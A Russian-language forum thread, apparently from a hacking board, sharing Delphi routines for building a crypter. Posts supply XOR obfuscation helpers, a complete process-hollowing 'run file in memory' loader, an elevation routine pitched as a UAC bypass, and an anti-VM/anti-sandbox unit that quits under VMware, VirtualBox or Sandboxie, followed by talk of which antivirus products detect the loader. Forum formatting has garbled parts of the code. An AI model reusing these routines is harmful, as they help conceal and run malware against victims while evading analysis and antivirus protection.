Полезные процедуры и функции для Делфи

Тема в разделе "Кодим в Делфи", создана пользователем X-Shar, 22 июн 2014.

↑ ↓
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Часто бывает когда пишешь чего-либо и не важно на каком языке, бывают уже готовые решения многих задач, что-бы не тратить время на их решения, ну либо просто не изобретать велосипед, существует подборка готовых функций, достаточно просто скопировать их в свою программу и потом вызывать их где нужно !

    Существуют даже готовые модули и dll, но здесь предлагаю выкладывать процедуры решающие простые задачи !

    Вот к примеру для написания криптора, нужны как минимум вот такие функции, которые решают следующие задачи:

    1) Процедура считывает наш файл, получает строку данных из файла в формате String:
    Код:
    Function mFileToStr(FileNamestring): string;
    var
    sFileHFile;
    uBytesCardinal;
    begin
    sFile
    := _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
    uBytes:= GetFileSize(sFilenil); //Получаем его размер
    SetLength(ResultuBytes); // Устанавливаем размер равный нашему файлу (Result).
    _lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
    _lclose(sFile);
    end;
    2)В этой функции удаляем строку Delimitador, который разделяет несколько строк, на выходе получим нужный массив строк:
    Код:
    function SplitMetal(TextoDelimitadorstring): TSarray;
    var
      
    ointeger;
      
    PosDelinteger;
      
    Auxstring;
    begin
      o 
    := 0;
      
    Aux := Texto;
      
    setlength(Resultlength(Aux));
      
    repeat
        PosDel 
    := Pos(DelimitadorAux) - 1;
        if 
    PosDel = -1 then
        begin
          Result
    [o] := Aux;
          break;
        
    end;
        
    Result[o] := copy(Aux1PosDel);
        
    delete(Aux1PosDel length(Delimitador));
        
    inc(o);
      
    until Aux '';
    end;
    3) Процедура шифрования XOR:
    Код:
    Function XORizo(TextPassstring): string;
    var
    ipinteger;
    Resstring;
    begin
    p
    := 1;
    for 
    i:= 1 to Length(Text) do
        
    begin
        Res
    := Res Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
        
    inc(p);
        if 
    Length(Passthen p:= 1;
        
    end;
    SetLength(ResultLength(Res));
    Result:= Res;
    end;
    Предлагаю в этой теме выкладывать решения небольших задач в формате подпрограмм !

    Кстати появился новый раздел:https://ru-sphere.ru/forums/kodim-v-delfi.122/ like it
     
    • Мне нравится Мне нравится x 4
  2. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Эта процедура запустит файл в памяти:
    Код:
    Function MemoryExecute(Buffer :Pointer;ParametersStringVisibleBoolean): TProcessInformation;
    type
      HANDLE        
    THandle;
      
    PVOID        Pointer;
      
    LPVOID        Pointer;
      
    SIZE_T        Cardinal;
      
    ULONG_PTR    Cardinal;
      
    NTSTATUS      LongInt;
      
    LONG_PTR      Integer;
      
    PImageSectionHeaders = ^TImageSectionHeaders;
      
    TImageSectionHeaders = Array [0..95Of TImageSectionHeader;
    Var
      
    ZwUnmapViewOfSection  :Function(ProcessHandleTHANDLEBaseAddressPointer): LongIntstdcall;
      
    ProcessInfo          :TProcessInformation;
      
    StartupInfo          :TStartupInfo;
      
    Context              :TContext;
      
    BaseAddress          :Pointer;
      
    BytesRead            :DWORD;
      
    BytesWritten          :DWORD;
      
    :ULONG;
      
    OldProtect            :ULONG;
      
    NTHeaders            :PImageNTHeaders;
      
    Sections              :PImageSectionHeaders;
      
    Success              :Boolean;
      
    ProcessName          :string;
    Function 
    ImageFirstSection(NTHeaderPImageNTHeaders): PImageSectionHeader;
    Begin
    Result 
    := PImageSectionheaderULONG_PTR(@NTheader.OptionalHeader) +
    NTHeader.FileHeader.SizeOfOptionalHeader);
    End;
    Function 
    Protect(CharacteristicsULONG): ULONG;
    Const
    Mapping      :Array[0..7Of ULONG = (
    PAGE_NOACCESS,
    PAGE_EXECUTE,
    PAGE_READONLY,
    PAGE_EXECUTE_READ,
    PAGE_READWRITE,
    PAGE_EXECUTE_READWRITE,
    PAGE_READWRITE,
    PAGE_EXECUTE_READWRITE  );
    Begin
    Result 
    := MappingCharacteristics SHR 29 ];
    End;
    Begin
      
    @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
      
    ProcessName := ParamStr(0);
      
    FillChar(ProcessInfoSizeOf(TProcessInformation), 0);
      
    FillChar(StartupInfoSizeOf(TStartupInfo),        0);
      
    StartupInfo.cb := SizeOf(TStartupInfo);
      
    StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
      if 
    Visible Then
      StartupInfo
    .wShowWindow := SW_NORMAL
      
    else
      
    StartupInfo.wShowWindow := SW_Hide;
      If (
    CreateProcess(PChar(ProcessName), PChar(Parameters), NILNIL,
      
    FalseCREATE_SUSPENDEDNILNILStartupInfoProcessInfo)) Then
      Begin
        Success 
    := True;
        
    Result := ProcessInfo;
        Try
          
    Context.ContextFlags := CONTEXT_INTEGER;
            If (
    GetThreadContext(ProcessInfo.hThreadContext) And
            (
    ReadProcessMemory(ProcessInfo.hProcessPointer(Context.Ebx 8),
                                @
    BaseAddressSizeOf(BaseAddress), BytesRead)) And
            (
    ZwUnmapViewOfSection(ProcessInfo.hProcessBaseAddress) >= 0) And
            (
    Assigned(Buffer))) Then
            Begin
              NTHeaders    
    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
              
    BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                             
    Pointer(NTHeaders.OptionalHeader.ImageBase),
                                             
    NTHeaders.OptionalHeader.SizeOfImage,
                                              
    MEM_RESERVE or MEM_COMMIT,
                                             
    PAGE_READWRITE);
              If (
    Assigned(BaseAddress)) And
                  (
    WriteProcessMemory(ProcessInfo.hProcessBaseAddressBuffer,
                                      
    NTHeaders.OptionalHeader.SizeOfHeaders,
                                      
    BytesWritten)) Then
                 Begin
                    Sections 
    := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                    For 
    := 0 To NTHeaders.FileHeader.NumberOfSections -Do
                      If (
    WriteProcessMemory(ProcessInfo.hProcess,
                                            
    Pointer(Cardinal(BaseAddress) +
                                                    
    Sections[I].VirtualAddress),
                                            
    Pointer(Cardinal(Buffer) +
                                                    
    Sections[I].PointerToRawData),
                                          
    Sections[I].SizeOfRawDataBytesWritten)) Then
                        VirtualProtectEx
    (ProcessInfo.hProcess,
                                          
    Pointer(Cardinal(BaseAddress) +
                                                  
    Sections[I].VirtualAddress),
                                          
    Sections[I].Misc.VirtualSize,
                                          
    Protect(Sections[I].Characteristics),
                                          
    OldProtect);
                     If (
    WriteProcessMemory(ProcessInfo.hProcess,
                                          
    Pointer(Context.Ebx 8), @BaseAddress,
                                          
    SizeOf(BaseAddress), BytesWritten)) Then
                      Begin
                        Context
    .EAX := ULONG(BaseAddress) +
                                      
    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                        
    Success := SetThreadContext(ProcessInfo.hThreadContext);
                      
    End;
                  
    End;
            
    End;
        Finally
          If (
    Not SuccessThen
            TerminateProcess
    (ProcessInfo.hProcess0)
          else
            
    ResumeThread(ProcessInfo.hThread);
        
    End;
      
    End;
    End;


    Где Buffer - указатель на нашу строку данных файла, Visible - режим запуска, скрытый или нет.

    Как юзать:

    memoryexecute(@FileString, '', true);

    Запустит в скрытом режиме наш файл !
     
    Последнее редактирование: 3 сен 2014
    • Мне нравится Мне нравится x 3
  3. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.181
    Симпатии:
    11.095
    Пол:
    Мужской
    Репа:
    +11.243 / 47 / -6
    Jabber:
    Skype:
    Я таких серьёзных функций не знаю.Могу добавить что-нибудь простенькое.Вот,например,генерация ключа любой длины (применял в рашен водка криптор).
    1.Процедура генерирует ключ (пасс) и выводит его в эдит1
    Код:
    procedure Randomize ;
    const 
    PassChar '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM*+,-./{|}~!"#$%&()*+';//символы,буквы,цифры используемые в генерируемом ключе
      
    var
    LenPass integer;
    sPass string;
    ipassCharCount integer;
    begin
    Randomize
    ;
     
    LenPass := 25;//длина ключа
    passCharCount := Length(PassChar);
    sPass := '';
     
    for 
    i:=1 to LenPass do
    sPass := sPass PassCharRandom(passCharCount)+];
     
    Edit1.Text := sPass;
    end;
     
    • Мне нравится Мне нравится x 4
  4. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Так серьёзное и не надо, для серьёзных есть специальные подключаемые модули, даже платные...

    Здесь именно простенькие задачи, иногда когда лень, либо просто некогда, такие програмки серьёзно помогают сэкономить время...

    Хотя некоторые программисты считают что это читерство и всё делают сами, может они и правы, но я всё-же сторонник такого подхода, зачем придумывать то-что уже придумано ?

    Не лучше ли на основе придуманного создать что-то своё ?My mind

    Но понятно что в этих програмках лучше разобраться как оно работает, потому-что может-быть специфика и т.д.
     
    • Мне нравится Мне нравится x 4
  5. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Запуск с правами админа:
    Код:
    procedure RunAsAdministrator(const sourcestring);
    var
      
    shExecInfoPSHELLEXECUTEINFOA;
    begin
      
    New(shExecInfo);
      
    shExecInfo^.cbSize := sizeof(SHELLEXECUTEINFO);
      
    shExecInfo^.fMask := 0;
      
    shExecInfo^.Wnd := 0;
      
    shExecInfo^.lpVerb := 'runas';
      
    shExecInfo^.lpFile := PAnsiChar(ExtractFileName(source));
      
    shExecInfo^.lpParameters := '';
      
    shExecInfo^.lpDirectory := PAnsiChar(ExtractFilePath(source));
      
    shExecInfo^.nShow := SW_SHOWNORMAL;
      
    shExecInfo^.hInstApp := 0;
      
    ShellExeCuteex(shExecInfo);
      
    Dispose(shExecInfo);
    //  shExecInfo := nil;
    end;
    Полезно если нужно запустить программу в обход UAC, вроде работает !WinkSmile
     
    • Мне нравится Мне нравится x 4
  6. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Многие сейчас скажут, есть-же манифест:
    Код:
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestversion="1.0">
    <assemblyIdentity
    version="2.0.0.0"
    processorArchitecture='*'
    name="Student LAN Manager"
    type="win32"/>
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges>
      <requestedExecutionLevel level="requireAdministrator"/>
      </requestedPrivileges>
    </security>
    </trustinfo>
    </assembly>
    Отвечаю сразу, манифест будет запускать программу постоянно с правами админа, это не всегда нужно, к тому-же может постоянно при запуске появлятся надоедливое окно UAC !

    Использование-же функции выше позволит получать админские права, только когда нужно, а админские права не всегда и нужны проги, обычно только при первом запуске и всё...My mind
     
    • Мне нравится Мне нравится x 4
  7. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.181
    Симпатии:
    11.095
    Пол:
    Мужской
    Репа:
    +11.243 / 47 / -6
    Jabber:
    Skype:
    Искал всякие "антивиртуальные" фишки.Оказывается не нужно ничего выдумывать и если имеешь сорцы,то"антивиртуалкой" свой проект можно обеспечить при помощи лишь команд copy-paste:)
    Antis [Maquinas Virtuales / Sandbox's] [Delphi]
    Код:
    //******************************************************************************
    // Unit        : ANTIS
    // Autor      : Fakedo0r .:[PD-TEAM]:.
    // Fecha      : 04.04.2012
    // Modificacion: 12.08.2012
    // Creditos    : Cobein
    // Descripcion : Detecta [VirtualPC / VMWare / VirtualBox / Anubis]
    //              Detecta [Sandboxie / ThreatExpert / CWSandbox / JoeBox]
    // Uso         : Anti_End;
    //******************************************************************************
    Unit UNT_ANTIS;
    //******************************************************************************
    // DECLARACION DE CLASES
    //******************************************************************************
    Interface
    Uses
      Windows
    ShlObjMessagesSysUtils;
    //******************************************************************************
    // DECLARACION DE FUNCIONES / PROCEDIMIENTOS
    //******************************************************************************
    Function IsVirtualPCPresentBool;
    Function 
    IsInSandboxBool;
    Function 
    Anti_EndBool;
    //******************************************************************************
    // FUNCIONES / PROCEDIMIENTOS
    //******************************************************************************
    Implementation
    //******************************************************************************
    //<--- [VirtualPC / VMWare / VirtualBox / Anubis] --->
    //******************************************************************************
    Function IsVirtualPCPresentBool;
    Const
      
    sArrVM: Array [.. 3Of String = ('VIRTUAL''VMWARE''VBOX''QEMU');
    Var
      
    hlKey:      HKEY;
      
    sBuffer:    String;
      
    sPathName:  String;
      
    I:          Integer;
      
    iRegType:  Integer;
      
    iDataSize:  Integer;
    Begin
      IsVirtualPCPresent 
    := False;
      
    iRegType := 1;
      
    sPathName := 'SYSTEM\ControlSet001\Services\Disk\Enum';
      If 
    RegOpenKeyEx($80000002PChar(sPathName), 0, $20019hlKey) = 0 Then
        
    If RegQueryValueEx(hlKey'0'0, @iRegTypeNil, @iDataSize) = 0 Then
        Begin
          SetLength
    (sBufferiDataSize);
          
    RegQueryValueEx(hlKey'0'0, @iRegType,
                          
    PByte(PChar(sBuffer)), @iDataSize);
          For 
    := 0 To 3 Do
            If 
    AnsiPos(UpperCase(sArrVM[I]), UpperCase(Trim(sBuffer))) > 0 Then
              IsVirtualPCPresent 
    := True;
        
    End;
      
    RegCloseKey(hlKey);
    End;
    //******************************************************************************
    //<--- SANDBOX [Sandboxie / ThreatExpert / CWSandbox / JoeBox] --->
    //******************************************************************************
    Function IsInSandboxBool;
    Const
      
    sArrSB: Array [.. 1Of String = ('76487-644-3177037-23510',
                                          
    '55274-640-2673064-23950');
      
    sArrDll: Array [.. 1Of String = ('sbiedll.dll''dbghelp.dll');
    Var
      
    hlKey:      HKEY;
      
    sBuffer:    String;
      
    sPathName:  String;
      
    I:          Integer;
      
    hDll:      Integer;
      
    iRegType:  Integer;
      
    iDataSize:  Integer;
      
    hSnapShot:  Integer;
    Begin
      IsInSandbox 
    := False;
      
    iRegType := 1;
      
    sPathName := 'Software\Microsoft\Windows\CurrentVersion':
      
    hDll := LoadLibrary(Pchar(sArrDll[0]));
      If 
    hDll <> 0 Then
        IsInSandbox 
    := True;
      
    FreeLibrary(hDll);
      
    hDll := LoadLibrary(Pchar(sArrDll[1]));
      If 
    hDll <> 0 Then
        IsInSandbox 
    := True;
      
    FreeLibrary(hDll);
      If 
    RegOpenKeyEx($80000002PChar(sPathName), 0, $20019hlKey) = 0 Then
        
    If RegQueryValueEx(hlKey'ProductId'0, @iRegTypeNil,
                            @
    iDataSize) = 0 Then
        Begin
          SetLength
    (sBufferiDataSize);
          
    RegQueryValueEx(hlKey'ProductId'0, @iRegType,
                          
    PByte(PChar(sBuffer)), @iDataSize);
          For 
    := 0 To 2 Do
            If 
    AnsiPos(sArrSB[i], Trim(sBuffer)) > 0 Then
              IsInSandbox 
    := True;
        
    End;
      
    RegCloseKey(hlKey);
    End;
    //******************************************************************************
    //<--- LLAMADA MAIN --->
    //******************************************************************************
    Function Anti_EndBool;
    Begin
      Anti_End 
    := False;
      If 
    IsVirtualPCPresent True Or IsInSandbox True Then
        ExitProcess
    (0);
    End;
    End.
    Для примера в архиве запуск обычной формы с "антивирутальной" функцией.
     

    Вложения:

    • Project1.rar
      Размер файла
      152,5 КБ
      Просмотров:
      13
    Последнее редактирование: 26 сен 2014
    • Мне нравится Мне нравится x 2
  8. ja_far Житель форума
    ja_far
    Ответить в чате

    Форумчанин

    Регистрация:
    01.10.2014
    Сообщения:
    52
    Симпатии:
    65
    Пол:
    Мужской
    Репа:
    +68 / 0 / -0
    Самой по себе, без костылей, только одной этой функцией не обойтись, пробовал. Пришлось твоих полпроекта скопировать) Прикрутил таки этот загрузчик к своему стабу - работает, только пропалено сильно.
     
    • Мне нравится Мне нравится x 1
  9. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    432
    Пол:
    Мужской
    Репа:
    +966 / 152 / -29
    Jabber:
    Skype:
    ICQ:

    638294628

    Большенство АВ на саму функцию не реагируют-же, по крайне мере месяца три назад проверял:Касперский, Доктор, Нод не детектели...

    Они эмулируют код под ней + Нод и Доктор могут детектить вирусы прям в памяти, каспер-же по мойму по поведению только детектит, а в памяти нет, хотя могу и ошибаться...
     
    • Мне нравится Мне нравится x 1
  10. ja_far Житель форума
    ja_far
    Ответить в чате

    Форумчанин

    Регистрация:
    01.10.2014
    Сообщения:
    52
    Симпатии:
    65
    Пол:
    Мужской
    Репа:
    +68 / 0 / -0
    Чистый файл всовываю - запускается но детектит, т.е. палится сам метод запуска кода в памяти. Не всеми АВ но елка присутствует. Моим загрузчиком - чисто.
     
    • Мне нравится Мне нравится x 1

Поделиться этой страницей